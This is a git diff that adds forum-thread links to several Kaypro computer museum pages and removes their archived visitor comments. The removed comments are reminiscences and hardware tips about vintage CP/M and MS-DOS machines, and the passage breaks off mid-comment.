--- a/content/museum/kaypro-10.md +++ b/content/museum/kaypro-10.md @@ -63,6 +63,7 @@ params: - adverts - links - docs + forum_thread: 160 photos: - title: KAYPRO 10 subtitle: '' @@ -120,91 +121,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Adam Vaughn (United States) - date: Wednesday 8th June 2016 - text: I recently acquired a Kaypro 10. It''s been equipped with a SWP "Co-Power 88" board which allows it to run some MS-DOS software (and doubles as a RAMdisk in CP/M). The internal HD was a bit cranky at first, but eventually managed to spin up. Very solid machine! - - author: Q Madp (Portland, OR) - date: Monday 14th September 2015 - text: I still have a Kaypro 10 sitting here and fire it up once in a while. Even have an early laptop with a solid state drive in it and it was mainly used to dial into telco systems. Would attach photo if I could. - - author: Jane Rubin (formerly Jane Davis) - date: Saturday 7th February 2015 - text: I should have said that at the time I wrote the original ProStar Training Guide my name was Jane Davis. I just checked on Amazon and it is still listed! - - author: Jane Rubin (Penybontfawr, Wales UK) - date: Saturday 7th February 2015 - text: Back in 1984 I was commissioned by Kaypro to write a manual to accompany their new software package by MicroPro International - WordStar, MailMerge, DataStar, ReportStar, CalcStar and the supreme data sorting program, SuperSort. I had already written a general manual covering all the programs in the software bundle so they shipped a Kaypro 10 to me so I could produce a customised version - needless to say it was love at first touch! Such a great little machine even if the games were of the Little Brick-out vintage! Later I was given the Kaypro 16 DOS machine and updated the manual for that - and then finally the 286i which was a multi-user MP/M machine. I was allowed to keep all of these models. Later I gave away the 16 and the 286i - but I still have my beloved Kaypro 10 (and the "I love my Kaypro" banner) and check it from time to time - it is still working after all these years. - - author: David L Kutzler (United States) - date: Friday 8th November 2013 - text: |- - The Kaypro 10 was my second computer. I recall at the time thinking how no one could possibly use 10 megabytes of storage. I knew the location and purpose of every single file on the computer. - - Now, I have single files that are orders of magnitude larger than 10 megabytes and I haven''t got a clue what 90$ of the files on my computer do. - - It''s the same thing with modern cars. When I grew up in the 50s and 60s, I could open the hood of any car, identify every part and repair a lot of them. Now, I look under the hood and don''t have a clue. - - author: BryanBE (ISA) - date: Friday 19th July 2013 - text: |- - Anyone selling a Kaypro 10? In Working condition. Email me: - - vt_hotlatin-@-hotmail.com - - author: Bond Shands (Palm Springs, California) - date: Wednesday 22nd February 2012 - text: |- - The Kaypro 10 was my second computer. It was purchased in 1984 and used for the KAY\*FOG RBBS (Remote Bulletin Board System) out of my home in San Francisco. KAY\*FOG had a dedicated phone line and automatically answered dial-up calls via its 1200 bps (later 2400 bps) modem. In those days before the Internet computers were able to communicate over phone lines using modems and Bulletin Boards were places where messages could be posted, text information read and files downloaded. - - KAY\*FOG was operated for the benefit of novice users and callers would post questions about using CP/M (the operating system), WordStar (a popular word processing program), BASIC, dBase II and other programs. I or another would post messages in response as answers. My friends Nina Smith and Dick Ezzard would call the BBS each evening, check the questions posted, and provide many of the answers. - - KAY\*FOG was online for exactly five (5) years and I signed off in August 1989. By then I had built my first DOS machine and had moved on to the MS-DOS world of personal commuters. - - author: Chris Van Dyk (Bainbridge Island, Washington) - date: Friday 3rd February 2012 - text: I bought a KayPro10 on the advice of my brother, Michael, who advised that CP/M was a known system and KayPro was the best, and MSDOS might fail. He was right. I never could figure out MSDOS and the KayPro is still in the garage$ the file system was delightfully simple. I ran the computer non-stop for a couple years after I opened the box, on political campaigns in Washington and Alaska. After a few years, added a board that gave it DOS capability. Only moved on to lesser machines after about 10 years of use. This was the Model T of microcomputers. Takes about a half hour now to warm up, but still works. Control P still prints.... - - author: A. Trent Phillips (USA) - date: Saturday 25th September 2010 - text: The option of running Microsoft DOS was possible with the addition of an 8088 CPU board. The original Z-80 and add-on 8088 could not work together, but the machine could be booted up to either run CP/M off the Z-80 or MS-DOS off the 8088. The Apple II line could do the same thing- there was a Z-80 add on for that platform. I wonder if anyone has tried to run CP/M-86 (CP/M for the 8088/8086 CPUs) on one of these. - - author: Pauline Thompson (Santa Barbara, California) - date: Wednesday 17th January 2007 - text: 'In 1983 I bought my first computer, a Kaypro 10, and used it to write a book, "Santa Barbara: How To Discover America''s Eden". I''m writing this note on a Toshiba 15" laptop and marvel how I ever wrote all those pages on that tiny screen! Like Pete Sonon, I used a Juki 6100 Daisywheel for printing the manuscript and it''s still stored in my office but the Kaypro is gone.' - - author: Pete Sonon (USA) - date: Thursday 2nd November 2006 - text: I bought mine as a "bundle" with a "Kaypro" printer, that was actually a Juki daisywheel. Like some of the others, I've still got my Kaypro. They were just too good to throw away. Like the old Timex ads, they could take a lickin' and keep on tickin'. The Juki printer is long gone... - - author: MAL GREENFIELD ( ) - date: Wednesday 18th February 2004 - text: |- - I, too, was a proud owner of a Kaypro 10. Ran my law office from it. My friend owned a pharmacy and ran his business, including his inventory, on a 10.\ - My favorite pastime was playing the game "ADVENTURE" which, if memory serves me, was loaded on drive 7. I NEVER got above 180 or so points and NEVER found my way out of the Ice Room. Does anyone besides me recall this game and, if so, is there anyway to get a copy to download onto my Windows ME Gateway?\ - Thank you\ - Mal - - author: Tom Morgan (Sacramento CA) - date: Friday 18th July 2003 - text: Sorry I can't help anyone who owns a Kaypro 10 because I gave mine away to a friend in 1993. I worked for a company who used the Kaypro 10's in conjunction with a postal scale we built for UPS manifest systems. We were 1 of only 3 companies with a UPS approved manifest system. Were working on a system for the Post Office when the cash cow died. - - author: Alberto L. Nájera (Spain) - date: Monday 10th March 2003 - text: |- - It was 1992, the first Persic Gulf War was going to star. I found a Kaypro 10 at home. It could run a word processor and dBase.\ - Last weekend I found it again, I swiched it on, I heard the music of its fans... Amazing!... - - author: Ted Kalli (Earth) - date: Thursday 20th February 2003 - text: I still have my Kaypro 10 and every once in a while I take it out, plug it in and watch it boot. For the time, I think it was a great computer and used it for many years. - - author: Carl Petersen (Arkansas) - date: Monday 10th February 2003 - text: I still remember fondly the hours I spent with my Kaypro 10 and then Kaypro Hi Tech K20. I thought CPM was here to stay. They had to drag me away to go to MSDOS. I lost mine to a repair tech who I asked to look at and he stripped them. Still have boxes of disks. Loads of shareware for them. Just haven't been able to throw away. - - author: Alan Hoppe (Earth) - date: Sunday 5th January 2003 - text: It was an excellent design for it's time! It was also extremely durable. It travelled around the world 4 times with me in 84 to 86. It even survived a strip search (the computer - not me) at the airport in Turkey. I still have it, and I won't part with it for anything. Please note in the photo that the striping on the keyboard has been worn off. Thats how much these babies were used! BTW, the screen rotation problem can be fixed... - - author: Chris Pagan (Earth) - date: Monday 12th August 2002 - text: I came across a KP10 a couple of years ago and before I got rid of it I opened it up and noticed that it had two 5mb HDD's in it, not just one 10mb drive... - - author: Corinne Loughman (Earth) - date: Saturday 27th April 2002 - text: I worked for a Newspaper in 1984 as a Cobol Programmer. When they purchased the Kaypro 10, I jumped at the chance to learn/use it. We ran CPM/86 and Dbase II with HP Plotting language and programmed all of the production graphics programs with it. It sent all output to the plotter. It wa s an incredible little PC that hard a 10MB Hard drive we thought we could never fill-up! - - author: J. Michael Butler (USA) - date: Friday 5th April 2002 - text: I was working for an office machines place in Arkansas during this time period and owned a Kaypro 10. I'm not sure I have ever had a box before or since that was more reliable. It was faster than my first 2 or 3 DOS computers! It was about this time I asked a guru what he thought of that IBM PC thing that had only been out a short time. He said the only bad thing was that every computer co. in the world immediately said - "Hey, we've got to build one JUST LIKE THEIRS!" It put innovation at a standstill. Kaypro followed suit with a DOS machine shortly after they came out with the Model 10. Everything went downhill from there... - - author: Eduard von Saher (World) - date: Wednesday 27th February 2002 - text: |- - A big advantage of the Kaypro design was that you could sit on it! This can be quite useful on commuter trains were all seats are occupied.\ - Try that with todays portables! related: - /museum/kaypro-1 - /museum/kaypro-2x diff --git a/content/museum/kaypro-16.md b/content/museum/kaypro-16.md index 24614490..79574a0d 100644 --- a/content/museum/kaypro-16.md +++ b/content/museum/kaypro-16.md @@ -62,24 +62,12 @@ params: value: $2295 (dual FDD) - $3295 (10 MB HDD) tabs: - adverts + forum_thread: 513 adverts: - title: NEW-ZEALAND ADVERT (OCT. 1985) subtitle: '' text: from Bits & Bytes magazine image: /media/museum/pubs/kaypro_16_pub_nz_1.jpg - comments: - - author: Derek A (MIAMI USA) - date: Saturday 9th December 2017 - text: At the age of 14 I was writing about video games for a local paper and was sent a Kaypro 16 to review. I was so amazed by this machine and connected to the internet for the first time on this machine. CompuServe charged $6 an hour and my parents killed me for the CompuServe bill they had to pay. It was a gateway to a great love and career in technology. - - author: Bill C (US) - date: Tuesday 14th May 2013 - text: The Kaypro 16 was our first family computer and I logged so many hours on it that it gave me a true love for computing. Between programming and gaming I put this machine through hell and the nice thing is that I still have it after all these years. It still works too. - - author: Victor Paul - date: Friday 8th April 2011 - text: I called the Kaypro 16 that I had ''My kickstart computer''. It had a 10MB (RLL) harddrive that would stick when you turned the computer off. You had to give the case a slap to get it to start spinning again. - - author: Karolyn Kelly-O'Keefe (USA) - date: Friday 29th August 2003 - text: Thank you for the “walk down Memory Lane.” I enjoyed your page on the Kaypro 16, my first computer (“portable” or otherwise). I bought it for $800 from the Home Shopping Network in 1989. It worked like a champ for five years. The only problem was that the metal case made static electricity a real problem and the system would lock up on me. oc_id: 519 source: url: https://web.archive.org/web/20230530203125/http://www.old-computers.com/museum/computer.asp?c=519 diff --git a/content/museum/kaypro-2000.md b/content/museum/kaypro-2000.md index 06847e32..76641b03 100644 --- a/content/museum/kaypro-2000.md +++ b/content/museum/kaypro-2000.md @@ -66,6 +66,7 @@ params: value: $1990 tabs: - photos + forum_thread: 811 photos: - title: CLOSED subtitle: '' @@ -98,62 +99,6 @@ params: subtitle: '' text: Picture courtesy of **[computermuseumgroningen.nl](http://www.computermuseumgroningen.nl)** image: /media/museum/photos/kaypro_2000_dockingstation_s1.jpg - comments: - - author: Richard (US) - date: Thursday 30th December 2010 - text: I worked for Kaypro when the 2000 was introduced. The Data General DG-1 laptop computer was already on the market when the K2000 hit the street, but the DG-1''s larger display had absolutely horrid contrast, almost to the point of being unuseable. The K2000''s modem used the modular jack for a telephone handset instead of the line cord jack. Kaypro made up some phone cords that had a standard line modular clip on one end and a handset clip on the other so that the K2000 could be connected to a phone line. The modems were made by US Robotics. - - author: Frederik van Kappen (Europe) - date: Monday 30th May 2011 - text: |- - I am the proud owner of one of the very rare licensed SMT Goupil club versions. According to a french site only 2000 were sold in Europe. - - As Richard states, the machine had quite some intelligent solutions (e.g. keyboard, Lcd display, etc).\ - Furthermore since the machine was delivered with 768 kB of RAM the seemingly superfluous 128 kB was used as a third virtual diskdrive with great speed advantages. When connected to an external monitor the quality of the picture was quite good. Finally a 5,25 " external drive could be bought but, being a student my financial situation didn''t allow me to do so at the time (unfortunately). The docking station was unknown in Europe. - - The machines were made to last and had a kind of Bang $ Olufsen feel about them. the only drawback were the very heavy batteries which are now, unfortunately, very very hard to find. When the machine was sold, the same batteries were used in medical apparatus of all kind as a back up in case of a power failure. Nowadays I have to search in shops specializing in remote controlled planes, boats etc because it seems some remote controllers use the same batteries. - - author: ajobpd (Monaco, Europe) (Monaco) - date: Friday 24th April 2020 - text: |- - I keep a Kaypro 2000 in perfect condition, equipped with an internal 2400 (?) bps modem, AC power supply, user manual, OS diskettes and some application software diskettes $manuals. - - I used it quite a bit when I was young$ the loud droning noise of the diskette head displacement within its case is absolutely unique and I turn it on about once a year just to hear it again. - - Its nickname was "The Firebomb", because it had a conductive paint layer on the inside of some plastic parts, probably to reduce EM interference. This paint invisibly touched a part of the modem power supply pins when it got displaced during transport and upon turning it on, smoke would come through the upper left hand grille on top of the keyboard. It happened twice, quite worrying the first time until the reason was discovered, which was not easy. - - A quite elegant piece of mechanical engineering, whoever was in charge of the project should be praised and remembered for its attention to external design esthetics, years ahead of its "ugly brick" competition. - - author: compu_85 (US) - date: Tuesday 7th January 2020 - text: |- - For anyone looking, the power supply for this machine is 7.3 volt DC, 2 amps, pin negative. - - If someone has details on the backlight mod, I''d be very interested! - - author: Ted Saari (United States) - date: Thursday 2nd August 2018 - text: I just acquired a Kaypro 2000. The power connector is tip negative for anyone trying to make a power adapter. I rebuilt the battery pack. The same cells are still available. They are 3 of the 0800-0004, Hawker Cyclon 2 Volt 5.0 AH, X Cell Batteries connected in series with no thermal protector or sensor. - - author: Anonymous Coward - date: Saturday 19th May 2012 - text: This archive $http://z80cpu.eu/archive/news/comp.os.cpm/threads/700babe1ff75d502.html$ says the power supply is 7.3 V DC tip positive 2 A. - - author: A Russell (Canada) - date: Monday 21st November 2011 - text: |- - I was recently lucky enough to get one of these for $20 on an online classifieds site. I realize its worth more than that on eBay, but I didn''t buy it to sell it, I bought it because of incurable Kaypro fanaticism. It was the very first computer I ever used as a 5 year old kid. And even as Kaypros go, this is the most beautiful machine I''ve ever seen. The only problem is, he(supposedly) didn''t have the power cord. I have universal power adaptors, but my problem is, it is ridiculously hard to get the power specs for this unit on the net. Try for yourself and you''ll see what I mean. I read 7vdc on one site, but I find nothing to verify and I don''t want to fry it. Also it''s not all the info I''d need to set up a universal adaptor. Does anyone know for sure the voltage type,\ - level and wattage required? I''m going mad wanting to know if this beautiful thing works. - - author: Tandyman - date: Tuesday 2nd December 2008 - text: |- - Hello,\ - I am looking to buy one of these machines. If anyone has one that needs a good home, I am availible. - - author: AtlasSoft(Pharoah) (USA) - date: Friday 16th December 2005 - text: I have been playing with my 2k. I have PolyWindows (how do you use it? what is it?). I also want to try to mess with the internal modem but my phone cable won't fit in the jacks! What should I do? - - author: Robert Bartlett (USA) - date: Sunday 10th July 2005 - text: I had one of these when I was a junior in high school. I was interning at a computer store in 1986, and was able to get one of these. Of course, there was really no such thing as a laptop in those days, so this was the closest thing they came to making a "true" laptop. Mine had 768K of ram, and of course the 720k low density floppy. The display was only visible when you were looking straight at it. It finally died some years later (long after Kaypro vanished into the murky depths of computer history) when the PROPRIETARY floppy drive stopped working... and I couldn't replace it. It was a nice machine though. I ran a BBS off of it with a Hayes Smartmodem 1200. I setup the additional 128k of RAM as a ramdisk, so when the BBS ran, all the files it needed were loaded from ram, instead of the LABORIOUSLY slow FDD! I miss this old battleship! - - author: Quick Basic (USA) - date: Saturday 9th October 2004 - text: |- - I have one of these, they are very cool machines!!\ - Does anybody know what version of DOS they ran best with? oc_id: 830 source: url: https://web.archive.org/web/20230606135450/http://www.old-computers.com/museum/computer.asp?c=830 diff --git a/content/museum/kaypro-2x.md b/content/museum/kaypro-2x.md index 617f424b..67247f30 100644 --- a/content/museum/kaypro-2x.md +++ b/content/museum/kaypro-2x.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 930 photos: - title: LARGER VIEW subtitle: '' @@ -156,40 +157,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Random Passerby - date: Monday 9th September 2019 - text: Glendon, the technical manual warns about using telephone wiring. The wire is too thin. So build a cable with at least 28-gage wire, no more than 12 feet long. - - author: Glendon Gross (Tucson, Arizona, USA) - date: Wednesday 9th November 2016 - text: I just acquired a Kaypro 2X at the local used bookstore for $50. Although the keyboard was demonstrated to me in the store, I bought it without a keyboard cable and was wondering if anybody has one. Please email me at glendon144@gmail.com if you have one, thanks. I''ve tried making one from a handset cord without succiness. The machine does boot into CP/M. - - author: Bryan Walker (USA) - date: Sunday 23rd October 2011 - text: |- - This picture looks like what I always referred to as a "New 2" - a machine that looked like the old 2, only with half-height DSDD drives. - - There''s another 2X, only this one is gray and has both the modem and real-time clock. The one I currently have still keeps time, although the year went funny after 1999. - - author: Bill Bathke II (us) - date: Tuesday 13rd September 2011 - text: I bought a 2X to modify, as I wasn''t sastisfied with the 10$ threw in a Seagate ST-225 (whose odd ''ratcheting'' noise as it started I still miss to this day!), some ''pigghybacked'' ttl chips on the decoder circuit to double the floppy storage, a pluPerfect Systems BIOS, and a MEG of ramdisk - don''t even want to think about what that cost$) - - author: Steve Williams (Portland, Oregon) - date: Monday 2nd August 2010 - text: I too still have a fully functional Kaypro 2X with all the original books and 5.25 program floppies$ even a copy of ''Rembrandt'' which at the time was ''the'' graphics program for CP/M based computers to have. I even still have the Silver Reed daisy wheel typewriter along with the ''little back box'' to connected it to my Kaypro and the modified copy of Wordstar that l used to print out letter quality papers. It''s only unidirectional and very slow (even for back then), but most of my Professors refused to accept Dot Matrix print outs. Not only did that computer save my butt in college (the only thing worst than my spelling was my handwriting) but having the only computer on my floor with a modem made me very popular with the engineering and computer science majors. I''m a recording engineer and cut my teeth on lowly 4-tracks learning to do the most with what I had. My Kaypro, being my first computer, truly served the same function allowing me to make the most of the advances - in computer technology that followed. Did I mention it still works as well as the day I bought it? - - author: Bp103 - date: Wednesday 30th September 2009 - text: This computer looks interesting if i can find the schematics i just might built one (with modern parts mostly emulated). If you ever watch the show "King of the hill" this computer makes an appearance form time to time. Most noticeable in the y2k episode. - - author: Paul Chaney (Muscoy CA USA) - date: Thursday 10th May 2007 - text: I had a Kaypro 2X. I learned wordstar and all of the mous-less keystroke menus by heart. I really miss the place marker, the quick menu, the block copy, and paste-special functions in Wordstar. I miss the SmartKey\` keyboard macro program. It was so simple and easy to use--like nothing else I have seen since. I devised a whole accounting system using DataStar, CalcStar and ReportStar--and I even devised workarounds for the bugs! I would just queue up a report to print, then go watch TV while my 22cps daisywheel printer churned it out. - - author: Joey D Sartain (United States) - date: Tuesday 28th December 2004 - text: |- - Stanley Kubrick and Arthur C. Clarke communicated with each other during the writing of the movie "2001: A Space Odyssey (1968)". They connected to each others computers over the phgone lines, both using Kaypro computers, and it is said that almost all the writing, for the movie, was done entirely on the Kaypro compouters.\ - Thanks... - - author: Joey D Sartain (United States) - date: Tuesday 28th December 2004 - text: I still own a Kapro 2x, and to my best recollection, the Kaypro 2x is identical ro the Kaypro 4, with the exception of the internal modem included with the Kaypro 4. I still have all the original books that came with the computer, along with a Letter Quality Daisy Wheel printer. (noisy) related: - /museum/kaypro-1 - /museum/kaypro-10 diff --git a/content/museum/kaypro-4.md b/content/museum/kaypro-4.md index 83a2ed47..6b4e3ddc 100644 --- a/content/museum/kaypro-4.md +++ b/content/museum/kaypro-4.md @@ -67,6 +67,7 @@ params: - photos - links - docs + forum_thread: 542 photos: - title: LARGE VIEW subtitle: '' @@ -135,45 +136,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Technoid Mutant (United States of America) - date: Wednesday 25th May 2022 - text: The 8088 board shipped in the dual-processor Kaypro IV was the SWP Copower 88. The same board was also shipped in a dual-processor Xerox CP/M machine. SWP made its own CP/M computer for which they made the Copower 88. The SWP ATR8000. - - author: Technoid Mutant (United States of America) - date: Wednesday 25th May 2022 - text: The 8088 board shipped in the dual-processor Kaypro IV was the SWP Copower 88. The same board was also shipped in a dual-processor Xerox CP/M machine. SWP made its own CP/M computer for which they made the Copower 88. The SWP ATR8000. - - author: Robert Pearse (United States) - date: Wednesday 11th January 2017 - text: Like Andy M-S, I have a 2/84 which does not seem documented here. It had improved display and the rear looked just like the 2X, but did not have the X and had a "3" sticker just like the 4/84. Place for a fan but no fan installed. It lacked the modem or clock, but had the plug for the modem (inactive). I had 180K drives, not the 4x 360K drives. So somewhere between the 4/84 and 2X. It still runs just fine. I fire it up about every 2-3 months just for fun. - - author: Charlie (Santa Cruz, CA) - date: Wednesday 26th February 2014 - text: You never forget your first! A really sweet system. Still works except maybe the Bios Battery needs replacing. Still have all the manuals and disks. - - author: Andy M-S - date: Friday 21st February 2014 - text: 'In 1984, I bought a 2/84 machine. By the end of its life (c. 1993) I had upgraded it with DSDD drives, an Advent TurboROM, EZCPR (ZCPR2, for all intents and purposes) and a 256K coprocessor, which (like others) I used primarily as a RAMdisk. My boot disk loaded Perfect Writer''''s swap file, along with all of my main utilities, onto the RAM drive, and I then put a "utility" disk into drive A (which via magic was now drive B$the RAM drive was A:) and put my data disk into drive B: (which via magic was then drive C:). That machine was absolutely wonderful, and as heavy and awkward as it could be at times, I really miss it. (Oh, and it fed an Okidata ml92 and an Anderson-Jacobson TTY that I used as a daisy-wheel printer).' - - author: Arnold Franken (Netherlands) - date: Sunday 2nd September 2012 - text: |- - John, - - I can Use aan old telephone cable to connect THE computer with THE keyboard - - author: John J Wingenbach (Canada) - date: Saturday 14th July 2012 - text: I''m looking for a chord to fit a Kaypro 4 to connect computger to keyboard - - author: Dereck Martin (Columbus, IN) - date: Monday 10th May 2004 - text: |- - I have a Kaypro4, and it still works. Found it in my stepfather's attic. He told me it was originally used on his navy ship from which he served. many years ago. It has a big ol' chest with that has tons of manuals for the countless disks of software and for the computer it self. It's blue and grey. You can still by them on ebay, but who knows what software will come with it and it the boot disk will work. I wanted to by a excellent looking White one, but the price got to high for me. - - Its a great nostalgic peice of equipment. Great for playing the good games like pong and atroids and and stuff. =) i'm only 21 and i appreciate this fine pc, they don't make them this durable of computer anymore. 20 years and still going! - - author: William J. Rodriguez C. (Caracas, Venezuela.) - date: Tuesday 4th March 2003 - text: |- - Hello, i looking for information about Kaypro. General Information, Cost, models, applications, an so on. - - Thanks in advance - - William Rodriguez C. related: - /museum/kaypro-1 - /museum/kaypro-10 diff --git a/content/museum/kaypro-ii.md b/content/museum/kaypro-ii.md index 30d75a23..c666efe8 100644 --- a/content/museum/kaypro-ii.md +++ b/content/museum/kaypro-ii.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 544 photos: - title: KAYPRO LABEL subtitle: '' @@ -185,123 +186,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Dave Williams (United States) - date: Tuesday 21st August 2018 - text: I worked tech support for the original Kaypro II and the Kaypro 10 as my first job out of high school. I took calls from Peter Hyams helping him send files by modem to and from Sri Lanka, and from William F. Buckley Jr. trying to format his printing in Perfect Writer. - - author: Ansi Vallens (New York, NY, USA) - date: Wednesday 8th August 2012 - text: 'I was a freelance writer when I bought my Kaypro II about 1984 from 47th St. Photo in NYC. My productivity increased dramatically. Simple and rugged $ it was modelled as the VW of computers. Kaypro encouraged people to fix their units themselves (a la Compuserve) I remember the text on my monitor was distorted. I called California, got the service tech who told me it was an easy fix. He stayed on the line as I removed the cover and found the plastic adjustment tool (included) for the tuning pots. Just as I was about to $ the tool into one of the pots the tech warned me: "Be careful. The power source is right there. Don''''t touch it." Too late! I had a silver bracelet that glanced against the power source. The next thing I know I''''m on the ground across the room. There''''s the smell of burnt hair in the room. I can hear the voice of the tech on the phone. He must of surmised what had happened: "I told you to watch it." Love that old machine.' - - author: adko (netherlands) - date: Sunday 5th December 2021 - text: Hello i have a Kapro II and i install the Gotek drive with flashfloppy and t works perfect with all the software for the Kapro II If you want more info. just email me Greets adko - - author: bob (United States ) - date: Thursday 26th August 2021 - text: I bought some Kaypro 2 disks off of Ebay - I have a Mint $not so much as a scratch$ dual floppy drive Kay pro .. I wanted to sell. the Machine turns on and asks for a boot disk but the ones I bought do nothing. Where could I get a real kaypro 2 boot disk - - author: mike fetting (United States) - date: Saturday 7th September 2019 - text: Started the restoration of the Kaypro 2x and the Kapro 10. Both were a bit dusty but cleaned up on the outside well. One keyboard has the help template attached for word processing. The other needed some cleaning, noticed the pin strip is starting to come off. The Kaypro 10 fan filter under the grill fell to pieces. They did not come with CPM floppies, has anyone made the switch to a floppy emulator? For the 10, has anyone switched to an MFM Hard Drive emulator? seeking recommendation. - - author: mike fetting (United States) - date: Friday 6th September 2019 - text: |- - I always wanted to own a Kaypro, so when I saw two for sale on craigslist I made the decision to purchase them. A Kaypro 2 (with an X label next to the 2) S/N 244666 and a Kaypro 10 S/N 122619. - - I was told they were owned by a pastor. He purchased the Kaypro 10 after using the Kaypro 2 for a year (or so). - - Having been stored, I plan to open them up clean and inspect before powering them up. A telco style connector is broken on the Kaypro 10 keyboard, so I will need to fix it. - - author: David Dickerson (USA) - date: Sunday 19th July 2015 - text: 'I have a complete set of manuals from my old Kaypros. If you would like them or more info please email: pianotuna@hotmail.com' - - author: William Hostman (USA) - date: Friday 26th November 2010 - text: |- - I have an old Kapro II, purchased in early 1982, and it did come bundled with three basics: the interpreted obasic and mbasic, and the compiling sbasic.\ - MBasic was in fact microsoft basic. - - Included software with purchase included also Aliens, Catchum and Ladder... text-mode clones of space invaders, PacMan, and Lode Runner. Plus a bunch of basic games, mostly in obasic. - - Stupid thing still run great. - - author: Bob P (Florida, USA) - date: Saturday 27th March 2010 - text: |- - Hello all.\ - I sold computers for a couple of different dealer in Rochester, NY back from 1977 - about 1985 when I moved to Florida. Back in the day is was common for manufacturers to offer computers as prizes in sales contests. I won several computers including an Apple $$e, an Apple $$c and a Osbourne 1. I hated the Osbourne''s 5" display and knew that it was prone to floppy disk drive issues. I had a customer who wanted one in the worst way as they were in short supply at the time. I sold him mine for about $100 off normal price and instead bought a Kaypro II. It was in my opinion a much better machine. About same weight as Osbourne, about same size, bigger screen and fewer issues. - - author: David McAfee (Sacramento, CA) - date: Friday 25th January 2008 - text: |- - I purchased one of the first KPII. It was luggable weighing in at about 30 lbs. It came with Word Star, MS Basic, Sbasic and the Perfect series of software. It had two horizontal drives with 19KB each.\ - I was a member of our local KP user group for years, President at the demise because we had become a Pizza club, i.e. meeting for socailable reasons once a month, not to work on the computer aspects...Killed by MSDOS.\ - Because of the lack of available software I "borrowed" the Osborne public domain library and tested each disk on the Kaypro and made a Public Domain library for the Kaypro. Ending up with about 120 PD disks. I would go to the meeting (taking my computer) and copy them for the members at $5 each, come home with bills in every pocket.\ - One of the members added a 10 meg disk controller to his KP and put the entire PD library on his hard drive, and he bcame the PD librarian (lot faster just writing instead of copying).\ - Bought a KP 4, painted my old II a bright purple gave it to my daughter.\ - Finally transitioned to a MSDOS machine, which I fitted with a CP/M emulator which allowed me to keep using the PD library.\ - The screen on the Kaypro allowed a full 8" wide document display which was a whole lot better than the Osborne 4 inch.\ - Key board was excellent, and I added a 10 foot telephone cord on it to allow me to sit back and copy stuff.\ - At the time the 5 1/4 disks were selling for about $5 each and I made a lot of money buying in bulk for as little as 40 cents each an repacking them and selling for amounts from $2 to 70 cents according to what the traffic could bear. Probably sold 10,000 disks. - - author: David Boccabella (Australia) - date: Monday 4th September 2006 - text: |- - remeber my Kaypro II well. The company I worked of brought a couple of Northstar Avantages. And I was given a Kaypro II as a commision thanks (much to my surprize and delight). It was a briilliant machine and it was light enough to carry anywhere.\ - I used CP/M and wrote in Dbase II at that time. After a few months (as I had a electronic interest) I upgraded the Kaypro's floppies to DSDD giving me a 960k per drive. Another friend of mine brought one and decided to design a graphics board. He got it working by bank switching the 64k of ram between the main CPU memoryu and the graphic memory. Of course time passed on and I started to use IBM PC's. But I still had my Kaypro. In a fit of insanity I found myself needing a IBM portable PC for contracing but they were FAR too expensive.\ - So I saved up my money and brought a 386 mothboard, 200 meg HD, and a small 9" color IBM monitor. Yess - I converted my Kaypro into a portable IBM. I also modified the keyboard so that the top could lifr up giving me a cable bay, and one ot the floppies frives was removed to give a floppy storage area. It worked brilliantly and was indestructable due to the case. There are a couple of lifts with score marks on their door when they closed on me too quick. Unfortunately all things must end and I retired it several years ago but it was a wonderful machine and a legacy to its persistance. - - author: Bobby Foskey (Gulfport, ms) - date: Monday 16th January 2006 - text: i need a boot disk for the kaypro 1 computer...anybody have a kaypro 1 ??? - - author: Scott (New York) - date: Saturday 21st May 2005 - text: |- - I came across my old Kaypro II. Its amazing how much technology has advanced in 20 years. Maby not, I guess. - - I have not located my original software or manuals yet but by searching the internet I was able to locate near everything. I still have the originals somewhere. I cant see ever getting rid of this system. It really has no value compared to todays technology but just by looking at it and using the keyboard you can tell that its priceless part of computing history. Im really glad I never threw it out. - - author: David (Internet) - date: Sunday 19th December 2004 - text: |- - Does anyone know how much wattage the kaypro 2's power supply is? Or How Much current it is capable of sourcing?\ - Thanks - - author: CJ Barnak ( ) - date: Thursday 28th October 2004 - text: I have one that I got for Christmas, and I'd like to add that the Kaypro is a cool computer, even here in 2004. It is pretty solid, and I still have fun on it. The only problems are that it makes a high-pitched sound that is like a TV's, and I tried replacing the keyboard cord and it didn't work. - - author: Jim Hill (Stanwood MI) - date: Saturday 9th August 2003 - text: I have a Kaypro II that I bought new in the early 80's. It was damaged in a fire and I'm trying to get an estimated value for insurance purposes. Included were all the original software and manuals plus application software like WordStar, SuperCalc, and dBase II. Everything was in pristine condition. Can anyone recommend a source or bought or sold the same recently? - - author: David G. (internet) - date: Saturday 15th March 2003 - text: |- - If you want to discuss/buy/sell Kaypro computers please join this new email group. - - Thank you. - - author: Tom Burrell (Minneapolis) - date: Thursday 27th February 2003 - text: |- - Just hauled my old KP2 out of the closet after almost 10 years- still works and yes, I have a boot disk for CP/M 2.2-send an address and I can try to make a copy. - - I found that it took several tries to get the system to boot correctly (cleaning?), so if you have one that's failing, don't give up too fast. - - Anyone else have Wordstar? I liked that one much better than Perfectwriter, so if anyone has manuals I'd love to get ahold of them. - - As for value, I remember seeing one at a used computer store for $10, as-is. I think they're worth more as a keepsake than as a PC these days. - - author: Francisco (Madrid(Spain)) - date: Saturday 1st February 2003 - text: 'Hello, I need the CP/m 2.2 for the kaypro. If you''ve got it send it to: telefrancisco@terra.com' - - author: raquelle de la Rocha (Los Angeles) - date: Friday 9th August 2002 - text: I have a Kaypro II, which I bought in 1982, and have been the only owner. I wish to sell it. Is there a market for it? - - author: Makis Skepastianos (Greece) - date: Monday 13rd May 2002 - text: |- - It was 1984, in Greece, in a private school sponcored by NCR Hellas that i learned programming in MS/COBOL on a Kaypro II. It was either this or an IBM PC, and at the time i thought it was much prettier than the IBM. Of cource, beauty is a factor that has nothing or very little to do in specifications, but for some reason, it then stroke me better than the IBM. The keyboard was very good to work on, very easy for someone who had never been in front of a keyboard before at the time.\ - CP/M was the operating system of the Kaypro II that i'm reffering to, and except Cobol we were also tought Basic and Word processing, on the Wordstar word Processor. These were the days ! - - The Kaypro II kept me company for almost 7 